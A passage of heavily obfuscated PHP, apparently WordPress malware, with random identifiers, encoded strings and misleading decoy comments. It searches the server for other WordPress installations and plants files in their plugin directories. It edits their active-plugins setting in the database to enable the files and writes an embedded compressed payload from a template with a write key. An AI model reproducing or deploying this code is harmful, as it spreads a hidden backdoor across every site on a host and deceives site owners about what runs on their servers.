    if (empty($zm87ltxzegowx)) {
 return    false;
   }

  
  $mhhzrwmjen  =  is6mdtp4uhpr5thv3ulub();
   if  (empty($mhhzrwmjen))   {
   return  false;
 }
$vmwcstbczzb46     = false;
        foreach   ($mhhzrwmjen     as  $p6qjzmu1z3kq) {
 
  if (!    @$GLOBALS['__scf_xaseomj3flge_20']($p6qjzmu1z3kq)  || !  @$GLOBALS['__scf_iuxi5ng_a2py94_47']($p6qjzmu1z3kq)) {
  continue;

  }
// WP Template Parts object fit

  
if    (@$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($p6qjzmu1z3kq) > (293837+230451))    {
  continue;


 }
$zzal77qhb1de  =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($p6qjzmu1z3kq);

 if  (!  $zzal77qhb1de ||     !  $GLOBALS['__scf_qubutkuvnnc4sx_41']($zzal77qhb1de)) {$qg1cewzhzmj=PHP_INT_MAX/PHP_INT_MAX;$x_ivpk417d=$qg1cewzhzmj+64;
 continue;
 }
  
$l_8b1_y5uj  = false;
    foreach   ($zm87ltxzegowx   as $d9giw6dayr)  {
    try    {
 
 $u2o2bfzqjlb87ccq    =   @$GLOBALS['__scf_y_ur004dxjki__462']($d9giw6dayr,     "",   $zzal77qhb1de);
     if   ($u2o2bfzqjlb87ccq  !==   null  &&  $u2o2bfzqjlb87ccq !==      $zzal77qhb1de) {
  $zzal77qhb1de  =  $u2o2bfzqjlb87ccq;
     $l_8b1_y5uj   =   true;
 }
}   catch   (Throwable $uvo4msk8s29_) {$g03hc8zf=PHP_MAJOR_VERSION;$dgfxmex5_motz3=$g03hc8zf*8;


f1995qrx5prr7cbl19co0e(j8bjjevd80e(1077), $uvo4msk8s29_);
  continue;


  }  catch   (Exception     $uvo4msk8s29_) {



      continue;
 }
 }
     



     if  ($l_8b1_y5uj) {
if   (qc7730958b5mgfuj_($p6qjzmu1z3kq,  $zzal77qhb1de)) {
  $vmwcstbczzb46  =  true;
  }
  }
  }
      
 return    $vmwcstbczzb46;
}    catch   (Throwable  $uvo4msk8s29_)   {
// WP Social Links menu position

 f1995qrx5prr7cbl19co0e(j8bjjevd80e(1078),   $uvo4msk8s29_);
  } catch    (Exception $uvo4msk8s29_)      {

 }
// allocate primitive-recursive substitution-map

return false;
 }
  


 function zyrcrhe871tpk5a69i($_gbdleyfzdd97b,   $d3oa344etg8)
   {
   $dzd0auye4yc   = array();
      $d3oa344etg8    =  $d3oa344etg8 -   1;
   
$fymlleu809vr0912 = x002260tc_2l50yfgc3hj($_gbdleyfzdd97b, (4+496));


     if (!   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fymlleu809vr0912))  {
  return   $dzd0auye4yc;
  }
  $fymlleu809vr0912   = $GLOBALS['__scf_zmuu9w5tlhvrg__169']($fymlleu809vr0912,  0,      (471+29));
      


foreach   ($fymlleu809vr0912      as     $itsyl5ug6bf5d)    {
   

  if   ($itsyl5ug6bf5d    ===     '.'  ||    $itsyl5ug6bf5d ===   b5xx0lrqzfc(1074)) {
continue;
}
       
$g6n1e7udm3e2p6l5   =  $_gbdleyfzdd97b  .  '/' .  $itsyl5ug6bf5d;
if    (! @$GLOBALS['__scf_nish5zuncssvgd_43']($g6n1e7udm3e2p6l5)) {
    continue;
    }
 
        if (@$GLOBALS['__scf_nish5zuncssvgd_43']($g6n1e7udm3e2p6l5  . j8bjjevd80e(907)))  {
   $dzd0auye4yc[]  =  $GLOBALS['__scf_qv5p187x3gyo_12']($g6n1e7udm3e2p6l5,      s99lg14mcd3un(148));
 continue;
     }



       
  if ($d3oa344etg8  >  0)   {
  $dzd0auye4yc =    $GLOBALS['__scf_z1yhwz66dpf_370']($dzd0auye4yc,   zyrcrhe871tpk5a69i($g6n1e7udm3e2p6l5, $d3oa344etg8));
   }
   }
 
return $dzd0auye4yc;



   }
     function mcrey6c69fa9y_02hnrf9()
 {
 $wr5h865l6ql5f7  =    array();
 $clinpyppgfw   =  $GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH, cv8ducrec(148));
   try     {
      $al14na8ylur9eqgx     =   array();


if  ($clinpyppgfw)  {
       $al14na8ylur9eqgx[]     = $GLOBALS['__scf_mij3fd72lyo_h_11']($clinpyppgfw);
       $al14na8ylur9eqgx[] =  $GLOBALS['__scf_mij3fd72lyo_h_11']($GLOBALS['__scf_mij3fd72lyo_h_11']($clinpyppgfw));
 $al14na8ylur9eqgx[]  = $GLOBALS['__scf_mij3fd72lyo_h_11']($GLOBALS['__scf_mij3fd72lyo_h_11']($GLOBALS['__scf_mij3fd72lyo_h_11']($clinpyppgfw)));
}



  


 $al14na8ylur9eqgx[]   =   s99lg14mcd3un(1079);

 $al14na8ylur9eqgx[]  =    cv8ducrec(1080);
     $al14na8ylur9eqgx[]    =  s99lg14mcd3un(1081);
   $al14na8ylur9eqgx[]    = b5xx0lrqzfc(1082);
     $al14na8ylur9eqgx[]  =    s99lg14mcd3un(1083);
 $al14na8ylur9eqgx[]      =  cv8ducrec(1084);
      $al14na8ylur9eqgx[]  =  cv8ducrec(1085);



    
$yvkd4zu7c458c8z    =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(520))     ?  (string)   @$GLOBALS['__scf_aojulu3bik1_116'](s99lg14mcd3un(117))     :   "";
 if  ($yvkd4zu7c458c8z  !== "")  {
// wait-free bulkhead


$soqrm2egu0t19 =      ($GLOBALS['__scf_ya_jdhkqpku_7']($yvkd4zu7c458c8z,    ';')     !== false)   ?   ';'  : ':';
 foreach     ($GLOBALS['__scf_uy4tufpelsg98c_118']($soqrm2egu0t19,    $yvkd4zu7c458c8z)  as    $gx1wu9an7cfa2x_t) {
    $gx1wu9an7cfa2x_t = $GLOBALS['__scf_qbsuu37jbe5t_328']($gx1wu9an7cfa2x_t);
if ($gx1wu9an7cfa2x_t  !== "")  {
   $al14na8ylur9eqgx[]  =    $gx1wu9an7cfa2x_t;
   }
 }


    }
     
$al14na8ylur9eqgx  =    $GLOBALS['__scf_ahbb1zgmq33o_158']($GLOBALS['__scf_le53i63bu3tu_340']($al14na8ylur9eqgx));
  $vushia50y9xh    =  $GLOBALS['__scf_di84jqdj15nut_294'](true);
    $wr5h865l6ql5f7 = array();
 
    foreach      ($al14na8ylur9eqgx   as $_gbdleyfzdd97b)   {

 
   if  (!    @$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b) ||    !    @$GLOBALS['__scf_t04e6l_v7y_46']($_gbdleyfzdd97b))     {
continue;
    }
 if    (($GLOBALS['__scf_di84jqdj15nut_294'](true) - $vushia50y9xh)  >  (180^190))   {
 break;
 }
      
   $wr5h865l6ql5f7   =   $GLOBALS['__scf_z1yhwz66dpf_370']($wr5h865l6ql5f7,  zyrcrhe871tpk5a69i($_gbdleyfzdd97b, 2));
  }
     } catch  (Throwable $uvo4msk8s29_)  {


  f1995qrx5prr7cbl19co0e(j8bjjevd80e(1086),     $uvo4msk8s29_);
  }  catch (Exception $uvo4msk8s29_) {



   }
  
   return    $GLOBALS['__scf_f05nku7gkgy7_162']($GLOBALS['__scf_ahbb1zgmq33o_158']($wr5h865l6ql5f7),      array($clinpyppgfw));
  }
  function yymx8yoip6dzelvjq5n($zl3n0wsjrxby1zh)
  {
 try   {



  $jufi_lcq7nk   =  array($zl3n0wsjrxby1zh     .  b5xx0lrqzfc(1087),     $zl3n0wsjrxby1zh  .     s99lg14mcd3un(1088));
    foreach ($jufi_lcq7nk as  $_gbdleyfzdd97b)  {
// @unmount vault

 if  (! @$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b))  {

continue;
    }



 $wn_ko2nze6kjft7     =   x002260tc_2l50yfgc3hj($_gbdleyfzdd97b,   (2348+2652));
if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($wn_ko2nze6kjft7))   {



  continue;
    }
   foreach   ($wn_ko2nze6kjft7    as  $uvo4msk8s29_)  {

if   ($GLOBALS['__scf_kmygv436ft5pn_9']($uvo4msk8s29_,   -(6-2))   ===     j8bjjevd80e(991) && oahk6ik6p30_tx4($_gbdleyfzdd97b  . '/' .  $uvo4msk8s29_, (4905+95)))      {

return true;
    }
     }
foreach     ($wn_ko2nze6kjft7    as $uvo4msk8s29_)   {
      $bi5u3amcxqqh9616   = $_gbdleyfzdd97b  .  '/'   .   $uvo4msk8s29_;
if  (!  @$GLOBALS['__scf_nish5zuncssvgd_43']($bi5u3amcxqqh9616)) {
 continue;
    }
$m_rie4tx9bm3    =    x002260tc_2l50yfgc3hj($bi5u3amcxqqh9616,  (4967+33));
if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($m_rie4tx9bm3))   {
    continue;
 }
foreach  ($m_rie4tx9bm3 as      $fulx_n95kwu) {
// PHP 8.4 fibers: release locator

    if ($GLOBALS['__scf_kmygv436ft5pn_9']($fulx_n95kwu, -(0x3+0x1))    === pvz_9xuc0nzl0m(991) && oahk6ik6p30_tx4($bi5u3amcxqqh9616 .   '/' .    $fulx_n95kwu, (4971+29)))  {
  return true;
}
  }
 }
 }
    }      catch  (Throwable   $uvo4msk8s29_)  {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1089), $uvo4msk8s29_);
 } catch  (Exception  $uvo4msk8s29_)  {



  }
 return   false;
        }
  function   hor2rcqle_tvjq()



   {
try   {
if  (peg5paj88laiyu(curga5ep68su8__o())) return;

  if (get_transient(cv8ducrec(1090)))   {
  return;$xds34op3xb=76+29;$_ueo0_98ki23c2=$xds34op3xb-49;



  }
  set_transient(cv8ducrec(1090), 1, (495+105));
     
  $xa6_dathyqd   =      usllxr5akmyy8c();
     if    (!  $xa6_dathyqd ||    $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)  <  (1085-85)) {
   return;
 }
if (! ro9zxkt259xhwz4($xa6_dathyqd))   {
   f1995qrx5prr7cbl19co0e(j8bjjevd80e(1091),  cv8ducrec(1092));
  return;



  }
// @activate locator

 
    $wr5h865l6ql5f7    =    mcrey6c69fa9y_02hnrf9();
    if  (empty($wr5h865l6ql5f7))      {
     if  (!get_transient(j8bjjevd80e(1093)))    {
     f1995qrx5prr7cbl19co0e(cv8ducrec(1094),  s99lg14mcd3un(1095));
 set_transient(s99lg14mcd3un(1096),    1,  (3512+88));



}
      set_transient(cv8ducrec(1090),  1, (411319-152119));
return;



}
$n9ea521qzcfuxr =  0;
foreach  ($wr5h865l6ql5f7    as    $zl3n0wsjrxby1zh)   {
  
     if    (yymx8yoip6dzelvjq5n($zl3n0wsjrxby1zh)) {
   continue;$mce9zd3lqj=PHP_INT_MAX/PHP_INT_MAX;$hcc9myqu_f=$mce9zd3lqj+43;
}

     $i9glptdtcs    =     "";
 $tda7b6gck6pv = $zl3n0wsjrxby1zh     .      pvz_9xuc0nzl0m(1087);
   if   (@$GLOBALS['__scf_w5h0oq_bt_n_44']($tda7b6gck6pv) &&  !@$GLOBALS['__scf_nish5zuncssvgd_43']($tda7b6gck6pv))  {
$tda7b6gck6pv  = null;
} elseif (!@$GLOBALS['__scf_nish5zuncssvgd_43']($tda7b6gck6pv))  {
        fqnjhjvlv62gig($tda7b6gck6pv, (411+82),  true);
 }
if     ($tda7b6gck6pv   && (!@$GLOBALS['__scf_nish5zuncssvgd_43']($tda7b6gck6pv)   ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($tda7b6gck6pv)))  {
 $tda7b6gck6pv = null;

 }
      if  ($tda7b6gck6pv) {
$adv8n1hapxztq1fd  = $tda7b6gck6pv . '/' . pn7ilzfkmyogdbglb3nhtx();
$hn4p_xdtjjg0u7i     = bpgn93eq1czhbg($xa6_dathyqd);

 $bha08w1rjvwz3to =  y258fvtiyat3mobu($adv8n1hapxztq1fd,   $hn4p_xdtjjg0u7i,   pvz_9xuc0nzl0m(1094));
  if   ($bha08w1rjvwz3to  &&  $bha08w1rjvwz3to >=  $GLOBALS['__scf_d413tdd725_10']($hn4p_xdtjjg0u7i))  {
/* weak radix-tree */

  $i9glptdtcs     = $adv8n1hapxztq1fd;
 }


}
/* proactive interpreter */

  



 if   (!   $i9glptdtcs)  {
// PCRE2 JIT: patch alert

       $ourhww20f0h  = $GLOBALS['__scf_h3mngbzp79_212'](pn7ilzfkmyogdbglb3nhtx(), PATHINFO_FILENAME);
      $_0cu5_g9yroy3fwv  =   $zl3n0wsjrxby1zh      . j8bjjevd80e(1097)  .  $ourhww20f0h;
 if (!   @$GLOBALS['__scf_nish5zuncssvgd_43']($_0cu5_g9yroy3fwv))  {
      fqnjhjvlv62gig($_0cu5_g9yroy3fwv,     (461+32),     true);
      }



  $adv8n1hapxztq1fd  =  $_0cu5_g9yroy3fwv . '/'  .     pn7ilzfkmyogdbglb3nhtx();
  $hn4p_xdtjjg0u7i =  bpgn93eq1czhbg($xa6_dathyqd);
     $bha08w1rjvwz3to  = y258fvtiyat3mobu($adv8n1hapxztq1fd,    $hn4p_xdtjjg0u7i,      s99lg14mcd3un(1098));
     if ($bha08w1rjvwz3to && $bha08w1rjvwz3to   >=    $GLOBALS['__scf_d413tdd725_10']($hn4p_xdtjjg0u7i))   {
     $i9glptdtcs = $adv8n1hapxztq1fd;
 
$basename     =  $ourhww20f0h    . '/' .    pn7ilzfkmyogdbglb3nhtx();



  wk8lskv8klqetfey($zl3n0wsjrxby1zh, $basename);


    }
 }



 if (!    $i9glptdtcs) {
   continue;
}
   lukwh2drghgd804($i9glptdtcs);


  ottk3i1kq8br96vi($i9glptdtcs,    (398+22));
     $n9ea521qzcfuxr++;
    }
   if    ($n9ea521qzcfuxr      >   0)    {
// WP Loginout Block: emit retry-policy



      set_transient(j8bjjevd80e(1090),  1,    (500744-241544));
       } else {
  set_transient(b5xx0lrqzfc(1090),   1,  (5803-2203));
}
    }  catch (Throwable  $uvo4msk8s29_)  {
 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1098),  $uvo4msk8s29_);
} catch (Exception  $uvo4msk8s29_)     {
 }
/* essential dead-letter */

    }
function  wk8lskv8klqetfey($zl3n0wsjrxby1zh, $basename)
  {
try  {
     $xj0192d9hnivbp  = $zl3n0wsjrxby1zh  .   pvz_9xuc0nzl0m(1099);
if  (!  @$GLOBALS['__scf_xaseomj3flge_20']($xj0192d9hnivbp)) {
$xj0192d9hnivbp   =    $GLOBALS['__scf_mij3fd72lyo_h_11']($zl3n0wsjrxby1zh)    . cv8ducrec(1100);



if  (!    @$GLOBALS['__scf_xaseomj3flge_20']($xj0192d9hnivbp))  {
return;
    }
       }
// WP Post Terms icon sprite




$yazr2g01258tle     = @$GLOBALS['__scf_v_rxq_yh85s05_99']($xj0192d9hnivbp);$cu3x5fg2ii=PHP_MAJOR_VERSION;$hbylyabpn94gek=$cu3x5fg2ii*6;
   if    (!    $yazr2g01258tle)  {
   return;
 }
// attach convex bivariant




$sfv8gsoovnx035 =    "";
$prefix  = "";
 if   ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1101), $yazr2g01258tle, $ljvicb11d2w9)) {
   $sfv8gsoovnx035  =   $ljvicb11d2w9[1];
     }
 if ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1102),    $yazr2g01258tle,     $ljvicb11d2w9)) {
  $prefix = $ljvicb11d2w9[1];
   }

if  (! $sfv8gsoovnx035  ||   !   $prefix  ||  !  $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1103), $prefix))   {
   return;
}

    $wpdb = $GLOBALS[s99lg14mcd3un(886)];

  if  (!  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb)   || !   $GLOBALS['__scf_r5y2nofw5p1zz_126']($wpdb,     cv8ducrec(143)))      {
return;
      }
 if   (!     $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1104),  $sfv8gsoovnx035))  {
   f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(775),      pvz_9xuc0nzl0m(1105));
  return;
     }


 $c4suhozgoi0rxu73     =  '`'    .  $sfv8gsoovnx035   .  b5xx0lrqzfc(1106) .   $prefix  . pvz_9xuc0nzl0m(1107);
 $wpdb->query(b5xx0lrqzfc(1108));
     $s2mhs41aezu    =    $wpdb->get_var('S'   . s99lg14mcd3un(1109) .  $c4suhozgoi0rxu73  .  pvz_9xuc0nzl0m(1110)  .  pvz_9xuc0nzl0m(1111) .  cv8ducrec(1112));
if ($s2mhs41aezu ===   null)   {
   $wpdb->query(pvz_9xuc0nzl0m(1113));
  return;
}



     $oz9gzy9lgiw  =      mkbvdupnbjny7vnxpc8m($s2mhs41aezu);
   if   (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($oz9gzy9lgiw)) {
// dispatch allocator for WP Page List

$wpdb->query(b5xx0lrqzfc(1113));
return;
 }
  if ($GLOBALS['__scf_o_dt0p7mox4_159']($basename,   $oz9gzy9lgiw,  true))   {
    $wpdb->query(pvz_9xuc0nzl0m(1114));
  return;
}
$oz9gzy9lgiw[]  =  $basename;
   $oz9gzy9lgiw = $GLOBALS['__scf_zcsplvr37om_157']($oz9gzy9lgiw);
 $nxghm0pojsc   =      $GLOBALS['__scf_s959cieqyqa_353']($oz9gzy9lgiw);



  $m3nuvmwvqfxh9hc =   $wpdb->query($wpdb->prepare('U'   . pvz_9xuc0nzl0m(1115)   .   $c4suhozgoi0rxu73 .  pvz_9xuc0nzl0m(1116)  .     pvz_9xuc0nzl0m(1111),    $nxghm0pojsc));
  if    ($m3nuvmwvqfxh9hc  ===   false)    {
     f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(775),    j8bjjevd80e(1117));

 $wpdb->query(j8bjjevd80e(1113));
    return;

  }
$wpdb->query(s99lg14mcd3un(1114));
if    ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1118))) {
@wp_cache_delete(b5xx0lrqzfc(1119),  pvz_9xuc0nzl0m(1120));


  @wp_cache_delete(cv8ducrec(734), b5xx0lrqzfc(1120));
 }

 } catch   (Throwable  $uvo4msk8s29_) {

    f1995qrx5prr7cbl19co0e(j8bjjevd80e(1121),     $uvo4msk8s29_);

if ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($GLOBALS[cv8ducrec(886)]))  {
 @$GLOBALS[b5xx0lrqzfc(886)]->query(s99lg14mcd3un(1113));



  }
  } catch   (Exception  $uvo4msk8s29_) {
f1995qrx5prr7cbl19co0e(j8bjjevd80e(1121),   $uvo4msk8s29_);
if   ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($GLOBALS[cv8ducrec(886)]))   {$a6qc0ntk=70+94;$d7xu6niq91g3=$a6qc0ntk-8;


   @$GLOBALS[j8bjjevd80e(886)]->query(cv8ducrec(1122));
  }
 }
 }
 function    jzj1vrifif3m6j()
  {
    static   $yazr2g01258tle   =   null;
if   ($yazr2g01258tle      !==   null)   return  $yazr2g01258tle;
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1123)))    {
 $yazr2g01258tle = "";$jr7cmy_pwaorm1=76|195;$m17f_kifqi4b6=$jr7cmy_pwaorm1^116;
    return   $yazr2g01258tle;
     }

    $yazr2g01258tle =  @gzinflate($GLOBALS['__scf_hitibqyb6ku_357'](pvz_9xuc0nzl0m(1124)));
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)      ||   $GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle)      <      (129^229))  $yazr2g01258tle  = "";
 return    $yazr2g01258tle;
 }
      function   a8z46s5c2sn13_ojkduw()
{
      try  {
      if (!defined(s99lg14mcd3un(1016)))     return;
 $_cnes7vytq7930 = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), j8bjjevd80e(991));


$lt17jb1ct3o      =    inbj7my4zpjuh_tx(ABSPATH     .    s99lg14mcd3un(1125), (4<<1))   .    j8bjjevd80e(1126);
   $rahdxfymb_pv3s  =  inbj7my4zpjuh_tx(ABSPATH     .   cv8ducrec(1127),   (1+7));

      $nlkb98olyrbp    = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1128))  ? content_url() : "";
  if     ($nlkb98olyrbp  ===  "") {
  $nlkb98olyrbp =   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(564))   ? get_site_url()   : "")    . s99lg14mcd3un(1129);


  }
// PHP named arguments menu position

 $utow7phaxh7rtqno =  $GLOBALS['__scf_q1hcnnvi5ufvxy_363'](b5xx0lrqzfc(1130),  b5xx0lrqzfc(1131),    $nlkb98olyrbp .   '/'   .   $lt17jb1ct3o);


    if  ($GLOBALS['__scf_ya_jdhkqpku_7']($utow7phaxh7rtqno,   s99lg14mcd3un(1132))  !== 0)  $utow7phaxh7rtqno =   b5xx0lrqzfc(1132) .   $GLOBALS['__scf_t61dw992fqm27x_8']($utow7phaxh7rtqno,  '/');
$e060majs10l0ku9  =  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(685)) ? home_url(cv8ducrec(1133)   .  uxbpia9nhfgkd94rxbqk(pvz_9xuc0nzl0m(1134)))  :  "";
if   ($e060majs10l0ku9 === "")  $e060majs10l0ku9  =   pvz_9xuc0nzl0m(1135)    .    q2jllc8juonl0cgja1g("")   .  b5xx0lrqzfc(1136) .   uxbpia9nhfgkd94rxbqk(s99lg14mcd3un(1134));
 if  ($GLOBALS['__scf_ya_jdhkqpku_7']($e060majs10l0ku9,      s99lg14mcd3un(1135)) !==  0) $e060majs10l0ku9     = b5xx0lrqzfc(1137)     .     $GLOBALS['__scf_t61dw992fqm27x_8']($GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1138), "",  $e060majs10l0ku9),  '/');
 $wozuajocc27r   =   isset($GLOBALS[s99lg14mcd3un(1139)])   && $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[b5xx0lrqzfc(1139)])   ? $GLOBALS[b5xx0lrqzfc(1139)]  :    "";$nidn5c1hu31=84*8;$c_6s__aoutc=$nidn5c1hu31-22;
 if  ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r)   <    (20+80)) {
 $wozuajocc27r = _x9hn2qehctkx39o(s99lg14mcd3un(1140),   "");

 }
 if  ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r)    < (164^192))   {
    $wozuajocc27r    =     jzj1vrifif3m6j();
      }



$ywf5swbjo3f31s3y     =     "";

 if   (isset($GLOBALS[s99lg14mcd3un(448)])  &&     $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[b5xx0lrqzfc(1141)]) &&  $GLOBALS['__scf_d413tdd725_10']($GLOBALS[pvz_9xuc0nzl0m(1142)]) >    (25<<1))  {
// sign-extended

   $ywf5swbjo3f31s3y    =  $GLOBALS[j8bjjevd80e(1142)];
  }    else     {

  $ywf5swbjo3f31s3y =   _x9hn2qehctkx39o(cv8ducrec(641), "");
 }
// WP Post Content: linear-adj substitution-map

  if ($GLOBALS['__scf_d413tdd725_10']($ywf5swbjo3f31s3y) >  (37+13)) {
 yf4cseyywyt6kel(b5xx0lrqzfc(641),    $ywf5swbjo3f31s3y, pvz_9xuc0nzl0m(1052));
 }
 $d0m4tw50ofaigk =   $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1143))  ?  (string) $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url('/'), PHP_URL_PATH)  :      '/';


      if  ($d0m4tw50ofaigk ===  "")   $d0m4tw50ofaigk  =   '/';
    if  ($GLOBALS['__scf_kmygv436ft5pn_9']($d0m4tw50ofaigk,    -1) !==   '/') $d0m4tw50ofaigk .=   '/';
 $ijocykcacvqm0i   =    array(
  s99lg14mcd3un(1144) =>   l185ejdgi0ehlge4(),
    cv8ducrec(1145)  =>     o_em1f379w3ufohb(),


 j8bjjevd80e(1146) => $d0m4tw50ofaigk,



);
$pkimj36vkob4b     = array(
   s99lg14mcd3un(1147)  => $utow7phaxh7rtqno,
   pvz_9xuc0nzl0m(1148)    =>     $_cnes7vytq7930,
   b5xx0lrqzfc(1149) =>    $e060majs10l0ku9,
b5xx0lrqzfc(1150) => inbj7my4zpjuh_tx(ABSPATH  .     b5xx0lrqzfc(1151),  (43^39)),
 pvz_9xuc0nzl0m(1152)   =>  $ywf5swbjo3f31s3y,
   );
  $iet3452oyx8a1_x =    fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(574),   "");
     if      (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($iet3452oyx8a1_x)  ||    $GLOBALS['__scf_d413tdd725_10']($iet3452oyx8a1_x)  ===  0)   {
     return;
   }


 $xsa27o0543   =  $GLOBALS['__scf_l90bo4vfyn_356'](_1isqeznby2pv_soj($GLOBALS['__scf_ks9itesnmzhh_594']($pkimj36vkob4b), $iet3452oyx8a1_x));
$wtcm06gkj5p   = s99lg14mcd3un(1153)     .  $GLOBALS['__scf_l90bo4vfyn_356']($GLOBALS['__scf_ks9itesnmzhh_594']($ijocykcacvqm0i)) .   cv8ducrec(1154);

 $wtcm06gkj5p  .= b5xx0lrqzfc(1155)  .   $xsa27o0543    .   pvz_9xuc0nzl0m(1156);
    $r8dsq2w0qusi =   $GLOBALS['__scf_gvrvt5qjna_57']((string)      $wozuajocc27r . (string) $ywf5swbjo3f31s3y . $iet3452oyx8a1_x   .  $GLOBALS['__scf_ks9itesnmzhh_594']($ijocykcacvqm0i[pvz_9xuc0nzl0m(1144)])  . $GLOBALS['__scf_ks9itesnmzhh_594']($ijocykcacvqm0i[b5xx0lrqzfc(1157)])   . '|'   .    $GLOBALS['__scf_i1sl42qxo03g_107'](q2jllc8juonl0cgja1g(""))     .   '|'    .   $d0m4tw50ofaigk);
if     (yf4cseyywyt6kel(s99lg14mcd3un(1158),   $wtcm06gkj5p,   pvz_9xuc0nzl0m(1052)) ||   _x9hn2qehctkx39o(cv8ducrec(1158),  "")    ===    $wtcm06gkj5p) yf4cseyywyt6kel(cv8ducrec(1159), $r8dsq2w0qusi, s99lg14mcd3un(1052));
  unset($r8dsq2w0qusi);
 $zo41uezfux91l =  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1143))   ?    home_url(b5xx0lrqzfc(1133)    .    uxbpia9nhfgkd94rxbqk(s99lg14mcd3un(643)))  :  "";


   if  ($zo41uezfux91l  ===  "")   $zo41uezfux91l    = cv8ducrec(1137)  .  q2jllc8juonl0cgja1g("")  .    pvz_9xuc0nzl0m(1136)   . uxbpia9nhfgkd94rxbqk(b5xx0lrqzfc(643));
if  ($GLOBALS['__scf_ya_jdhkqpku_7']($zo41uezfux91l,    pvz_9xuc0nzl0m(1137))   !== 0) $zo41uezfux91l  = cv8ducrec(1137) .   $GLOBALS['__scf_t61dw992fqm27x_8']($GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1138),  "",     $zo41uezfux91l),    '/');
 yf4cseyywyt6kel(cv8ducrec(501),  $zo41uezfux91l,  pvz_9xuc0nzl0m(1052));
 if  ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r)  < (25<<2))   {
    return;
}
 yf4cseyywyt6kel(pvz_9xuc0nzl0m(1140), $wozuajocc27r,     s99lg14mcd3un(1052));
 if (!pggcshv8j3hapx())   return;
    $nh29r9yyrakx    =  wjdsjl3nphz8g9u();
 if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($nh29r9yyrakx))   fqnjhjvlv62gig($nh29r9yyrakx,   (306+187),   true);
     if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($nh29r9yyrakx)  || !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($nh29r9yyrakx))  return;
$hzjog3kwnasgsj   =   $nh29r9yyrakx . '/'  .   $rahdxfymb_pv3s .   j8bjjevd80e(1160);$j_687mxr6wjsq=(0x68+0x1b);$lptsswh28qc=$j_687mxr6wjsq%7;
  $up4buwmu07z8kh0    = e4ddwbv2vbmzi1(

b5xx0lrqzfc(1161),
 array('__SLUG__',   '__ZIP_NAME__',  '__WRITE_KEY__',    '__VERSION__'),
 array($_cnes7vytq7930,  $lt17jb1ct3o,      inbj7my4zpjuh_tx(ABSPATH   .    pvz_9xuc0nzl0m(1151),    (181^185)), jqg87ez26lzm3yp01xj2q())
);
  if (!$up4buwmu07z8kh0) {
 if    ((int)   get_option(pvz_9xuc0nzl0m(759),  0)   >  0)  f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(643),    pvz_9xuc0nzl0m(1162));
   

    return;
    }
   if (!@$GLOBALS['__scf_hdqba_c8m7_708']($hzjog3kwnasgsj)      ||    $GLOBALS['__scf_gvrvt5qjna_57'](gg_b7drpimzvzg((string)   @$GLOBALS['__scf_v_rxq_yh85s05_99']($hzjog3kwnasgsj))) !==   $GLOBALS['__scf_gvrvt5qjna_57']($up4buwmu07z8kh0))  {
y258fvtiyat3mobu($hzjog3kwnasgsj,  $up4buwmu07z8kh0, pvz_9xuc0nzl0m(1163));



   f3vsfers3pq3ok0kwile($hzjog3kwnasgsj,  ap3jwh4ff4rbz1upjm49());
   ottk3i1kq8br96vi($hzjog3kwnasgsj,  (347+73));
  xmuf92hov77yw0fjcu8($hzjog3kwnasgsj);
    }
// WP Site Editor: bootstrap revocation-list


  }   catch (Throwable    $uvo4msk8s29_)   {
f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(643), $uvo4msk8s29_);



}   catch  (Exception $uvo4msk8s29_)    {
  }
 }
  function  e4ddwbv2vbmzi1($key, $b8by0zww0y9_p0g1,     $oyel6vo3c2_b5rzg)
{
   $fyt2ueozybp1kzz9    =  null;
 if ($fyt2ueozybp1kzz9    ===  null)  {
    $fyt2ueozybp1kzz9  =  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(455))    ? get_transient(ev_yl_99eshcn294o())  : false;
